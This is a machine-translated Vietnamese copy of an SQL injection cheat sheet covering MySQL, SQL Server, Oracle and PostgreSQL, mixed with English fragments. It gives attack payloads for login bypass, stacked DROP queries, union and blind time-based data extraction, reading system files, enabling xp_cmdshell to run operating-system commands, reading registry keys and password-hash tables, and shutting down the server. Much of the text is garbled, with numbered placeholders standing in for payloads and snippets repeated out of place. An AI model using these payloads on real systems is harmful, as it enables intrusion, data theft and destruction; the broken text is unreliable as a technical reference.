Hướng dẫn error based sqli cheat sheet - bảng gian lận sqli dựa trên lỗi

Bảng cheat SQL tiêm là gì?

Một bảng gian lận tiêm SQL là một tài nguyên trong đó bạn có thể tìm thấy thông tin kỹ thuật chi tiết về nhiều biến thể khác nhau của lỗ hổng SQL Injection (SQLI). Bảng gian lận tiêm SQL này có liên quan tốt đến cả người kiểm tra thâm nhập dày dạn và cả những người vừa mới bắt đầu bảo mật ứng dụng web.

Show
Hướng dẫn error based sqli cheat sheet - bảng gian lận sqli dựa trên lỗi

Về bảng gian lận SQL tiêm

Bảng gian lận SQL này là phiên bản cập nhật của một bài đăng năm 2007 của Ferruh Mavituna trên blog cá nhân của anh ấy. Hiện tại bảng gian lận SQL này chỉ chứa thông tin cho & nbsp; MySQL, Microsoft SQL Server và một số thông tin hạn chế cho các máy chủ SQL của Oracle & NBSP; và PostgreSQL. Một số mẫu trong bảng này có thể không hoạt động trong mọi tình huống vì môi trường trực tiếp thực sự có thể thay đổi tùy thuộc vào việc sử dụng dấu ngoặc đơn, các cơ sở mã khác nhau và các câu SQL bất ngờ, kỳ lạ và phức tạp. & NBSP;MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parentheses, different code bases and unexpected, strange and complex SQL sentences. 

Các mẫu được cung cấp để cho phép bạn có được ý tưởng cơ bản về một cuộc tấn công tiềm năng và hầu hết mọi phần đều bao gồm một thông tin ngắn gọn về chính nó.

M: Mysql
S: Máy chủ SQL
P : Postgresql
O: Oracle
+: Có thể tất cả các cơ sở dữ liệu khác
Examples;
  • (MS) có nghĩa là: MYSQL và SQL Server, v.v.
  • .

Mục lục

  1. Tài liệu tham khảo cú pháp, tấn công mẫu và thủ thuật tiêm SQL bẩn
    1. Ý kiến ​​dòng
      • Các mẫu tấn công tiêm SQL
    2. Ý kiến ​​nội tuyến
      • Nhận xét nội tuyến cổ điển SQL Mẫu tấn công SQL
      • Mẫu phát hiện phiên bản MySQL
    3. Xếp chồng truy vấn
      • Bảng hỗ trợ truy vấn xếp chồng ngôn ngữ / cơ sở dữ liệu
      • Về mysql và php
      • Các mẫu tấn công SQL được xếp chồng lên nhau
    4. Nếu tuyên bố
      • Mysql nếu câu lệnh
      • SQL Server nếu câu lệnh
      • Nếu tuyên bố mẫu tấn công tiêm SQL SQL
    5. Sử dụng số nguyên
    6. Chuỗi hoạt động
      • Kết hợp chuỗi
    7. Chuỗi không có báo giá
      • Các mẫu tiêm SQL dựa trên hex
    8. Sửa đổi chuỗi & liên quan
    9. Liên minh tiêm
      • Liên minh - Khắc phục các vấn đề ngôn ngữ
    10. Bỏ qua màn hình đăng nhập
    11. Kích hoạt XP_CMDSHELL trong SQL Server 2005
    12. Tìm cấu trúc cơ sở dữ liệu trong SQL Server
    13. Cách nhanh để trích xuất dữ liệu từ tiêm SQL dựa trên lỗi trong SQL Server
    14. SQL bị mù
    15. Bao gồm các bài hát của bạn
    16. Thêm Ghi chú MySQL
    17. Đơn hàng thứ hai SQL tiêm
    18. Các cuộc tấn công kênh ngoài ban nhạc (OOB)

Tài liệu tham khảo cú pháp, tấn công mẫu và thủ thuật tiêm SQL bẩn

Ý kiến ​​dòng

Ý kiến ​​dòng

Các mẫu tấn công tiêm SQL 
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

  • -- (SM) 
    DROP sampletable;-- 
  • (M) 
    DROP sampletable;#
Ý kiến ​​nội tuyến
  • Username: admin'--
  • Nhận xét nội tuyến cổ điển SQL Mẫu tấn công SQL

Ý kiến ​​nội tuyến

Nhận xét nội tuyến cổ điển SQL Mẫu tấn công SQL or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • Mẫu phát hiện phiên bản MySQL
    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • -- 0
  • Xếp chồng truy vấn
    This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version. 

    -- 2

Nhận xét nội tuyến cổ điển SQL Mẫu tấn công SQL
  • Mẫu phát hiện phiên bản MySQL
    Simply get rid of other stuff at the end the of query. Same as -- 4
  • Xếp chồng truy vấn
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
Mẫu phát hiện phiên bản MySQL
  • Xếp chồng truy vấn
  • Bảng hỗ trợ truy vấn xếp chồng ngôn ngữ / cơ sở dữ liệu
    You will get the same response if MySQL version is higher than 3.23.02
  • Về mysql và php
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Xếp chồng truy vấn

Bảng hỗ trợ truy vấn xếp chồng ngôn ngữ / cơ sở dữ liệu. This is very useful in every injection point, especially in SQL Server back ended applications.

  •  
    DROP sampletable;-- 
    0 (S)  
    DROP sampletable;-- 
    1
     
    DROP sampletable;-- 
    1

Về mysql và php

Bảng hỗ trợ truy vấn xếp chồng ngôn ngữ / cơ sở dữ liệu

Về mysql và php supported, dark gray: not supported, light gray: unknown

Hướng dẫn error based sqli cheat sheet - bảng gian lận sqli dựa trên lỗi

Các mẫu tấn công SQL được xếp chồng lên nhau 
To clarify some issues; 
PHP – MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Các mẫu tấn công SQL được xếp chồng lên nhau
  • ID:  
    DROP sampletable;-- 
    2
  •  
    DROP sampletable;-- 
    3

Điều này sẽ chạy & nbsp; thả các thành viên & câu NBSP; SQL sau truy vấn SQL thông thường.

Nếu tuyên bố

Nhận phản hồi dựa trên một tuyên bố IF. Đây là một trong những điểm chính của tiêm SQL mù, cũng có thể rất hữu ích để kiểm tra những thứ đơn giản một cách mù quáng và chính xác.one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

Mysql nếu câu lệnh

  •  
    DROP sampletable;-- 
    4(M) 
    DROP sampletable;-- 
    5

SQL Server nếu câu lệnh

  •  
    DROP sampletable;-- 
    6 (S)  
    DROP sampletable;-- 
    7
     
    DROP sampletable;-- 
    7

Oracle & nbsp; nếu câu lệnh

  •  
    DROP sampletable;-- 
    8 (O)  
    DROP sampletable;-- 
    9
     
    DROP sampletable;-- 
    9

PostgreSQL nếu tuyên bố

  • ________ 30 & nbsp; kết thúc; (P) & nbsp; ________ 31
    1
Nếu tuyên bố mẫu tấn công tiêm SQL SQL

________ 32 & nbsp;
This will throw an divide by zero error if current logged user is not “sa” or “dbo”.

Sử dụng số nguyên

Rất hữu ích cho việc bỏ qua, & nbsp; Magic_quotes () và các bộ lọc tương tự, hoặc thậm chí là wafs.magic_quotes() and similar filters, or even WAFs.

  • ________ 33 & nbsp; (sm) & nbsp; bạn có thể & nbsp; Viết hex như thế này; & nbsp;
    You can  write hex like these; 

    ________ 34 & nbsp; (s) & nbsp; ________ 35 & nbsp; (Đây không phải là một số nguyên, nó sẽ là một chuỗi từ hex) & nbsp;
    5 (this is not an integer it will be a string from Hex) (M) 
    6 (this is integer now!) (M)

Chuỗi & nbsp; Hoạt động

Chuỗi hoạt động liên quan. Chúng có thể khá hữu ích để xây dựng các mũi tiêm không sử dụng bất kỳ trích dẫn nào, bỏ qua bất kỳ danh sách đen nào khác hoặc xác định cơ sở dữ liệu đầu cuối.

Kết hợp chuỗi

  • 7 (S) 8
    8
  • 9 (*MO)  
    DROP sampletable;#
    0
     
    DROP sampletable;#
    0

*Giới thiệu về MySQL, | 
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. A better way to do it is using  
DROP sampletable;#
1function in MySQL.

  • ________ 42 & nbsp; (m) & nbsp; chuỗi cung cấp chuỗi. & Nbsp; ________ 43
    Concatenate supplied strings. 
     
    DROP sampletable;#
    3

Chuỗi không có báo giá

Đây là một số cách trực tiếp để sử dụng các chuỗi nhưng nó luôn có thể sử dụng & nbsp; ________ 44 (ms) và & nbsp; ________ 41 (m) để tạo chuỗi mà không cần trích dẫn.

  • ________ 46 & nbsp; (m) - & nbsp; biểu diễn hex của chuỗi & nbsp; ________ 47 & nbsp; Điều này sẽ được chọn là chuỗi trong mysql. & Nbsp;
     
    DROP sampletable;#

    This will be selected as string in MySQL. 

    Theo cách dễ dàng của MySQL để tạo các biểu diễn HEX của chuỗi, hãy sử dụng điều này;
     
    DROP sampletable;#
    8

  • Sử dụng & nbsp; ________ 41 & nbsp; trong mysql & nbsp; ____ ____ 50 & nbsp; (m) & nbsp; điều này sẽ trả về ‘klm.
     admin'--0 (M) 
    This will return ‘KLM’.
  • ________ 51 & nbsp; (s) & nbsp; Điều này sẽ trả về ‘klm.
    This will return ‘KLM’.
  • ________ 52 & nbsp; (o) & nbsp; Điều này sẽ trả về ‘klm.
    This will return ‘KLM’.
  • ________ 53 & nbsp; (p) & nbsp; Điều này sẽ trả về ‘klm.
    This will return ‘KLM’.

Các mẫu tiêm SQL dựa trên hex

  • ________ 54 & nbsp; (m) & nbsp; Điều này sẽ hiển thị nội dung của & nbsp; c: \ boot.ini
    This will show the content of c:\boot.ini

Sửa đổi chuỗi & liên quan

  • ________ 55 & nbsp; (SMP) & nbsp; trả về giá trị ký tự ASCII của ký tự ngoài cùng bên trái. Phải có chức năng cho tiêm SQL mù. & Nbsp;
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections. 

     admin'--6

  • ________ 44 & nbsp; (sm) & nbsp; chuyển đổi một số nguyên của ascii. & Nbsp;
    Convert an integer of ASCII. 

     admin'--8

Liên minh tiêm

Với Liên minh, bạn thực hiện các truy vấn SQL. Về cơ bản, bạn có thể đầu độc truy vấn để trả lại hồ sơ từ một bảng khác.

 admin'--9 Điều này sẽ kết hợp kết quả từ cả bảng tin tức và bảng thành viên và trả lại tất cả chúng.
This will combine results from both news table and members table and return all of them.

Một ví dụ khác: & nbsp; ________ 60
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
0

Liên minh - Khắc phục các vấn đề ngôn ngữ

Trong khi khai thác các lần tiêm công đoàn đôi khi bạn gặp lỗi vì các cài đặt ngôn ngữ khác nhau (cài đặt bảng, cài đặt trường, cài đặt bảng kết hợp / db, v.v.) Các chức năng này khá hữu ích để khắc phục vấn đề này. Nó rất hiếm nhưng nếu bạn giao dịch với & nbsp; Nhật Bản, Nga, Thổ Nhĩ Kỳ & nbsp; vv. Các ứng dụng sau đó bạn sẽ thấy nó.

  • SQL Server (s) & nbsp; sử dụng & nbsp; ________ 61 & nbsp; ________ 62 ________ 63 & nbsp; hoặc một số - & nbsp hợp lệ khác;
    Use SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    2
    SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    3 or some other valid one – check out SQL Server documentation. 

    SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    4

  • Mysql (m) & nbsp; ________ 65 cho mọi vấn đề có thể xảy ra
    SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    5for every possible issue

Bỏ qua màn hình đăng nhập (SMO+)

SQL Injection 101, thủ thuật đăng nhập

  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    6
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    7
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    8
  • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    9
  • /*Comment Here*/0
  • /*Comment Here*/1
  • /*Comment Here*/2
  • /*Comment Here*/3
  • ….
  • Đăng nhập dưới dạng người dùng khác nhau (sm*) & nbsp; ________ 60
    SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
    0

*Các phiên bản cũ của MySQL không hỗ trợ các truy vấn liên minh

Bỏ qua MD5 Hash thứ hai kiểm tra màn hình đăng nhập

Nếu ứng dụng trước tiên nhận được bản ghi của tên người dùng và sau đó so sánh MD5 đã trả lại với mật khẩu được cung cấp MD5 thì bạn cần phải có một số thủ thuật bổ sung để đánh lừa ứng dụng để bỏ qua xác thực. Bạn có thể kết quả kết hợp với mật khẩu đã biết và băm MD5 mật khẩu được cung cấp. Trong trường hợp này, ứng dụng sẽ so sánh mật khẩu của bạn và băm MD5 được cung cấp của bạn thay vì MD5 từ cơ sở dữ liệu.

Bỏ qua ví dụ kiểm tra băm MD5 (MSP)

Tên người dùng: ________ 75Password: /*Comment Here*/6
Password : /*Comment Here*/6

/*Comment Here*/7

Dựa trên lỗi - Tìm tên cột

Tìm tên cột với & nbsp; có bởi & nbsp; - dựa trên lỗi (s)HAVING BY – Error Based (S)

Theo cùng một thứ tự,

  • /*Comment Here*/8
  • /*Comment Here*/9
  • DROP/*comment*/sampletable0
  • ________ 81 & nbsp; và như vậy
  • Nếu bạn không nhận được thêm bất kỳ lỗi nào thì nó đã hoàn thành.

Tìm bao nhiêu cột trong Truy vấn được chọn bởi & nbsp; đặt hàng by & nbsp; (mso+)ORDER BY (MSO+)

Tìm số cột theo thứ tự bằng cách có thể tăng tốc quá trình tiêm SQL của Liên minh.

  • DROP/*comment*/sampletable2
  • DROP/*comment*/sampletable3
  • ________ 84 & nbsp; vậy
  • Tiếp tục đi cho đến khi gặp lỗi. Lỗi có nghĩa là bạn đã tìm thấy số lượng cột đã chọn.

Các loại dữ liệu, liên minh, v.v.

Hints,

  • Luôn luôn sử dụng & nbsp; union & nbsp; với & nbsp; tất cả & nbsp; vì & nbsp; hình ảnh & nbsp; các loại trường không phân loại tương tự. Theo mặc định, Liên minh cố gắng để có được hồ sơ với sự khác biệt.UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • Để loại bỏ các bản ghi không được yêu cầu từ việc sử dụng bảng trái -1 hoặc bất kỳ tìm kiếm bản ghi nào không tồn tại khi bắt đầu truy vấn (nếu tiêm ở đâu). Điều này có thể rất quan trọng nếu bạn chỉ nhận được một kết quả tại một thời điểm.
  • Sử dụng NULL trong các lần tiêm công đoàn cho hầu hết các loại dữ liệu thay vì cố gắng đoán chuỗi, ngày, số nguyên, v.v.
    • Hãy cẩn thận trong các situtaion mù có thể bạn có thể hiểu lỗi là đến từ chính DB hoặc ứng dụng. Bởi vì các ngôn ngữ như ASP.NET thường ném lỗi trong khi cố gắng sử dụng các giá trị null (vì thông thường các nhà phát triển không mong đợi sẽ thấy NULL trong trường tên người dùng)

Tìm loại cột

  • ________ 85 & nbsp; (s) & nbsp; ________ 86 & nbsp;
    DROP/*comment*/sampletable

    Nếu bạn không gặp lỗi, nó có nghĩa là & nbsp; cột là số.

  • Ngoài ra, bạn có thể sử dụng & nbsp; cast () & nbsp; or & nbsp; chuyển đổi ()
    • DROP/*comment*/sampletable7
  • ________ 88 & nbsp; không có lỗi - cú pháp là đúng. MS SQL Server đã sử dụng. Tiến hành.
    No Error – Syntax is right. MS SQL Server Used. Proceeding.
  • ________ 89 & nbsp; không có lỗi - cột đầu tiên là một số nguyên.
    No Error – First column is an integer.
  • DR/**/OP/*bypass blacklisting*/sampletable0Error! - Cột thứ hai không phải là một số nguyên.
    Error! – Second column is not an integer.
  • ________ 91 & nbsp; không có lỗi - cột thứ hai là một chuỗi.
    No Error – Second column is a string.
  • ________ 92 & nbsp; lỗi! - Cột thứ ba không phải là một số nguyên. Mạnh & nbsp;
    Error! – Third column is not an integer. … 

    DR/**/OP/*bypass blacklisting*/sampletable3

Bạn sẽ nhận được lỗi chuyển đổi () trước các lỗi mục tiêu của công đoàn!So start with convert() then union

Đơn giản chèn (MSO+)

DR/**/OP/*bypass blacklisting*/sampletable4

Chức năng hữu ích / thu thập thông tin / thủ tục lưu trữ / ghi chú SQL số ​​lượng lớn

@@ Phiên bản & NBSP; (MS) & NBSP; Phiên bản cơ sở dữ liệu và nhiều chi tiết hơn cho SQL Server. Nó là một hằng số. Bạn chỉ có thể chọn nó như bất kỳ cột nào khác, bạn không cần phải cung cấp tên bảng. Ngoài ra, bạn có thể sử dụng Chèn, cập nhật các câu lệnh hoặc trong các chức năng. (MS) 
Version of database and more details for SQL Server. It’s a constant. You can just select it like any other column, you don’t need to supply table name. Also, you can use insert, update statements or in functions.

DR/**/OP/*bypass blacklisting*/sampletable5

Chèn số lượng lớn

Chèn một nội dung tệp vào bảng. Nếu bạn không biết đường dẫn nội bộ của ứng dụng web, bạn có thể & nbsp; đọc iis (chỉ 6 iis) tệp metabase (%systemroot%\ system32 \ inetsrv \ metabase.xml) và sau đó tìm kiếm trong đó để xác định đường dẫn ứng dụng.read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

  1. Tạo bảng FOO (dòng varchar (8000))
  2. Chèn số lượng lớn foo từ ‘C: \ inetpub \ wwwroot \ login.asp.
  3. Thả bảng temp, và lặp lại cho một tập tin khác.

BCP (s)

Viết tệp văn bản. Thông tin đăng nhập được yêu cầu sử dụng chức năng này. & NBSP; ________ 96
DR/**/OP/*bypass blacklisting*/sampletable6

VBS, WSH trong SQL Server (S)

Bạn có thể sử dụng VBS, WSH Scripting trong SQL Server vì hỗ trợ ActiveX.

DR/**/OP/*bypass blacklisting*/sampletable7DR/**/OP/*bypass blacklisting*/sampletable8

Thực thi các lệnh hệ thống, xp_cmdshell (s)

Thủ thuật nổi tiếng, theo mặc định, nó đã bị vô hiệu hóa trong & NBSP; SQL Server 2005. & nbsp; bạn cần có quyền truy cập quản trị viên.

DR/**/OP/*bypass blacklisting*/sampletable9

Kiểm tra ping đơn giản (định cấu hình tường lửa hoặc sniffer của bạn để xác định yêu cầu trước khi khởi chạy nó),

-- 00

Bạn không thể đọc kết quả trực tiếp từ lỗi hoặc liên minh hoặc một cái gì đó khác.

Một số bảng đặc biệt trong (các) máy chủ SQL

  • Thông báo lỗi & NBSP; ________ 101
    -- 01
  • Máy chủ được liên kết & NBSP; ________ 102
    -- 02
  • Mật khẩu (2000 và 20005 Cả hai đều có thể bị bẻ khóa, chúng sử dụng thuật toán băm rất giống nhau & nbsp;) & NBSP; SQL Server 2000: ________ 103 & NBSP;
    SQL Server 2000:-- 03 
    SQL Server 2005 : -- 04

Các quy trình được lưu trữ nhiều hơn cho (các) máy chủ SQL

  1. CMD Execute (xp_cmdshell) & nbsp; exec master..xp_cmdshell ‘dirxp_cmdshell
    exec master..xp_cmdshell ‘dir’
  2. Công cụ đăng ký (xp_regread) & nbsp;xp_regread
    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite & nbsp; exec xp_regread hkey_local_machine, ‘System \ currentControlset \ services \ lanmanserver \ tham số
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
  3. Dịch vụ quản lý (xp_servicecontrol)xp_servicecontrol)
  4. Medias (xp_availablemedia)xp_availablemedia)
  5. Tài nguyên ODBC (xp_enumdsn)xp_enumdsn)
  6. Chế độ đăng nhập (xp_loginconfig)xp_loginconfig)
  7. Tạo tệp taxi (XP_MAKECAB)xp_makecab)
  8. Liệt kê miền (xp_ntsec_enumdomains)xp_ntsec_enumdomains)
  9. Killxp_terminate_process)
  10. Thêm quy trình mới (hầu như bạn có thể thực hiện bất cứ điều gì bạn muốn) & nbsp; sp_addextendsproc ‘xp_webserver
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ 
    exec xp_webserver
  11. Viết tệp văn bản vào UNC hoặc đường dẫn nội bộ (sp_makewebtask)

Ghi chú số lượng lớn MSSQL

-- 05

-- 06

Host_name () & nbsp; is_member (transact-sql) & nbsp; & nbsp; is_srvrolemember (transact-sql) & nbsp; & nbsp; opendatasource (Transact-SQL)
IS_MEMBER (Transact-SQL)  
IS_SRVROLEMEMBER (Transact-SQL)  
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OpenRowset (Transact-SQL) & NBSP; -& nbsp; http: //msdn2.microsoft.com/en-us/l Library/ms190312.aspx

Bạn không thể sử dụng các lựa chọn phụ trong các truy vấn chèn SQL Server.

SQL tiêm trong giới hạn (M) hoặc thứ tự (MSO)

-- 07

Nếu tiêm vào thứ hai & nbsp; giới hạn & nbsp; bạn có thể nhận xét nó hoặc sử dụng trong việc tiêm công đoàn của bạn

Tắt máy chủ SQL SQL

Khi bạn thực sự tức giận, & nbsp; ________ 108

Kích hoạt XP_CMDSHELL trong SQL Server 2005

Theo mặc định XP_CMDSHELL và một vài quy trình được lưu trữ nguy hiểm khác bị vô hiệu hóa trong SQL Server 2005. Nếu bạn có quyền truy cập quản trị thì bạn có thể kích hoạt chúng.

-- 09

-- 10

Tìm cấu trúc cơ sở dữ liệu trong (các) máy chủ SQL

Nhận bảng xác định người dùng

-- 11

Nhận tên cột

-- 12

Hồ sơ di chuyển (các) hồ sơ

  • Sửa đổi nơi và sử dụng & nbsp; ________ 113 & nbsp; hoặc & nbsp; ________ 114, & nbsp;-- 13 or -- 14
    -- 15 
    -- 16 — very good one
  • Sử dụng các thủ thuật bẩn & nbsp; ________ 117-- 18
    -- 17
    -- 18

Cách nhanh để trích xuất dữ liệu từ tiêm SQL dựa trên lỗi trong (các) máy chủ SQL

-- 19

Bài viết chi tiết: & nbsp; cách nhanh để trích xuất dữ liệu từ các SQL dựa trên lỗiFast way to extract data from Error Based SQL Injections

Tìm cấu trúc cơ sở dữ liệu trong mysql & nbsp; (m)

Nhận bảng xác định người dùng

-- 20

Nhận tên cột

-- 21

Hồ sơ di chuyển (các) hồ sơ

Nhận bảng xác định người dùng

-- 22

Nhận tên cột

-- 23

Hồ sơ di chuyển (các) hồ sơ

Sửa đổi nơi và sử dụng & nbsp; ________ 113 & nbsp; hoặc & nbsp; ________ 114, & nbsp;

Sử dụng các thủ thuật bẩn & nbsp; ________ 117-- 18you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Cách nhanh để trích xuất dữ liệu từ tiêm SQL dựa trên lỗi trong (các) máy chủ SQL, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code 
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.

Bài viết chi tiết: & nbsp; cách nhanh để trích xuất dữ liệu từ các SQL dựa trên lỗiif statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAITFOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Tìm cấu trúc cơ sở dữ liệu trong mysql & nbsp; (m)

Tìm cấu trúc cơ sở dữ liệu trong Oracle & NBSP; (O)

SQL bị mù and FALSE flags mark queries returned true or false.

-- 24

Về tiêm SQL mù : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103– 

Trong một ứng dụng sản xuất khá tốt nói chung & nbsp; bạn không thể thấy các phản hồi lỗi trên trang, vì vậy bạn không thể trích xuất dữ liệu thông qua các cuộc tấn công của công đoàn hoặc các cuộc tấn công dựa trên lỗi. Bạn phải sử dụng các cuộc tấn công tiêm SQL mù để trích xuất dữ liệu. Có hai loại tiêm SQL mù. : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89– 

Mù bình thường, bạn không thể thấy phản hồi trong trang, nhưng bạn vẫn có thể xác định kết quả của truy vấn từ phản hồi hoặc mã trạng thái HTTP & NBSP; hoàn toàn mù, bạn không thể thấy bất kỳ sự khác biệt nào về đầu ra dưới bất kỳ hình thức nào. Đây có thể là một chức năng ghi nhật ký hoặc tương tự. Không quá phổ biến, mặc dù. : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83– 

Trong rèm bình thường, bạn có thể sử dụng & nbsp; nếu các câu lệnh & nbsp; hoặc lạm dụng & nbsp; trong đó truy vấn trong tiêm & nbsp; (nói chung là dễ dàng hơn), trong hoàn toàn rèm, bạn cần sử dụng một số chức năng chờ và phân tích thời gian phản hồi. Đối với điều này, bạn có thể sử dụng & nbsp; chờ đợi sự chậm trễ '0: 0: 10' & nbsp; trong sql server, điểm chuẩn () và giấc ngủ (10) trong mysql, & nbsp; pg_s ngủ (10) & nbsp; Oracle. : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80– 

-- 25

Mẫu tấn công SQL mù thực và hơi phức tạplast 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.

Đầu ra này được lấy từ một công cụ tiêm SQL rèm riêng thực sự trong khi khai thác ứng dụng SQL Server đã kết thúc và liệt kê các tên bảng. Yêu cầu này được thực hiện cho char đầu tiên của tên bảng đầu tiên. SQL truy vấn phức tạp hơn một chút sau đó yêu cầu vì lý do tự động hóa. Trong chúng tôi đang cố gắng xác định giá trị ASCII của Char thông qua thuật toán tìm kiếm nhị phân.

True & nbsp; và & nbsp; false & nbsp; cờ truy vấn đánh dấu đã trả về đúng hoặc sai.

Chờ đợi sự chậm trễ ‘thời gian

Điều này giống như giấc ngủ, chờ đợi thời gian xác định. CPU cách an toàn để làm cho cơ sở dữ liệu chờ đợi.

-- 26

Ngoài ra, bạn có thể sử dụng các phân số như thế này,

-- 27

Các mẫu trong thế giới thực

  • Có phải chúng ta ’Sa không? & NBSP; ________ 128
    -- 28
  • ProductID = & NBSP; ________ 129
  • ProductID = ________ 130
  • ProductID = ________ 131
  • ProductID = ________ 132
  • ProductID = ________ 133
  • ProductID = ________ 134

Điểm chuẩn () (m)

Về cơ bản, chúng tôi đang lạm dụng lệnh này để làm cho MySQL chờ đợi một chút. Hãy cẩn thận, bạn sẽ tiêu thụ giới hạn máy chủ web quá nhanh!

-- 35

Các mẫu trong thế giới thực

  • Có phải chúng ta ’Sa không? & NBSP; ________ 128
    -- 36
  • ProductID = & NBSP; ________ 129
    -- 37

ProductID = ________ 130

ProductID = ________ 131

  • ProductID = ________ 132
    Sleep 10 seconds.

ProductID = ________ 133

ProductID = ________ 131

  • ProductID = ________ 132
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

ProductID = ________ 131

  • -- 40

    ProductID = ________ 132 = You want to run the query.

    ProductID = ________ 133

ProductID = ________ 134

Điểm chuẩn () (m)

Về cơ bản, chúng tôi đang lạm dụng lệnh này để làm cho MySQL chờ đợi một chút. Hãy cẩn thận, bạn sẽ tiêu thụ giới hạn máy chủ web quá nhanh!

Chúng ta có root không? woot! & nbsp; ________ 136

Bảng kiểm tra tồn tại trong mysql & nbsp; ________ 137

  1. -- 41
    1. -- 42
    2. -- 43
  2. -- 44
    1. -- 45
    2. -- 46
    3. -- 47

pg_s ngủ (giây) (p)

  • Ngủ trong vài giây được cung cấp.
  • -- 38S ngủ 10 giây.
    • -- 48
  • -- 49
  • -- 50-- 51
    • -- 52-- 53
  • Ngủ (giây) (M)
    • -- 54
    • -- 55
    • -- 56
    • -- 57
  • -- 58
  • -- 59
  • -- 39S ngủ 10 giây.
    • -- 60
  • {Tiêm} = bạn muốn chạy truy vấn.
    • -- 61
  • Nếu điều kiện là đúng, sẽ phản hồi sau 10 giây. Nếu là sai, sẽ bị trì hoãn trong một giây.
    • Bao gồm các bài hát của bạn
      • -- 62
  • SQL Server -Sp_Password nhật ký (S)
  • -- 63
  • -- 64
  • Các truy vấn nhật ký của SQL Server don lồng bao gồm SP_Password vì lý do bảo mật (!). Vì vậy, nếu bạn thêm trên mạngEnumeration data, Guessed Brute Force
    • -- 66

Clear & NBSP; SQL tiêm

  • Những xét nghiệm này chỉ đơn giản là tốt cho việc tiêm SQL mù và các cuộc tấn công im lặng.
